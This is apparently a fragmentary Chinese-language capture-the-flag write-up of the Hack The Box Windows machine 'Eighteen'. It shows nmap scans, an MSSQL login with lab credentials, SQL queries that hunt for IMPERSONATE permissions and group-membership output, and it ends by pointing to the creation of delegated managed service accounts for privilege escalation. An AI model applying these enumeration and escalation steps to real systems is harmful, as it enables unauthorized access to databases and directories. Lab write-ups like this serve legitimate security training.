As is common in real life Windows penetration tests, you will start the Eighteen box with credentials for the following account: kevin / iNa2we6haRj2gaw!
端口扫描
这是一台 Windows 的靶机，开始端口扫描：
1 2 3 4 5 6 7 8 9 10 11 12
┌──(kali㉿kali)-[~/HTB/eighteen] └─$ sudo nmap -p- eighteen.htb -oA ports Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-18 15:28 CST Nmap scan report for eighteen.htb Host is up (0.12s latency). Not shown: 65532 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http 1433/tcp open ms-sql-s 5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 295.25 seconds
┌──(kali㉿kali)-[~/HTB/eighteen] └─$ impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@eighteen.htb' Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC01): Line 1: Changed database context to 'master'. [*] INFO(DC01): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (160 3232) [!] Press helpfor extra shell commands SQL (kevin guest@master)>
发现了一个叫 financial_planner 的数据库，没有权限进入：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
SQL (kevin guest@master)> enum_db name is_trustworthy_on ----------------- ----------------- master 0
tempdb 0
model 0
msdb 1
financial_planner 0
SQL (kevin guest@master)> use financial_planner ERROR(DC01): Line1: The server principal "kevin" is not able to access the database "financial_planner" under the current security context. SQL (kevin guest@master)>
# Checkfor impersonation permissions SELECTdistinct b.name FROM sys.server_permissions a INNERJOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name ='IMPERSONATE';
SELECT sp.state_desc, grantee.name AS grantee_name, target.name AS target_login, grantor.name AS grantor_name FROM sys.server_permissions sp LEFTJOIN sys.server_principals grantee ON sp.grantee_principal_id=grantee.principal_id LEFTJOIN sys.server_principals grantor ON sp.grantor_principal_id=grantor.principal_id LEFTJOIN sys.server_principals target ON sp.major_id=target.principal_id WHERE sp.permission_name='IMPERSONATE';
┌──(kali㉿kali)-[~] └─$ sudo nmap -p- 127.0.0.1 [sudo] password for kali: Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-31 19:12 CST Nmap scan report for localhost (127.0.0.1) Host is up (0.0000010s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE 389/tcp open ldap 636/tcp open ldapssl 8000/tcp open http-alt 40395/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
Group Name Type SID Attributes ========================================== ================ ============================================= ================================================== Everyone Well-knowngroup S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-knowngroup S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-knowngroup S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-knowngroup S-1-5-15 Mandatory group, Enabled by default, Enabled group EIGHTEEN\IT Group S-1-5-21-1152179935-589108180-1989892463-1604 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-knowngroup S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Label S-1-16-8192
可以看到我们就是属于这个组的，因此我们可以对这个 OU 创建任意子对象，包括 msDS-DelegatedManagedServiceAccount 。
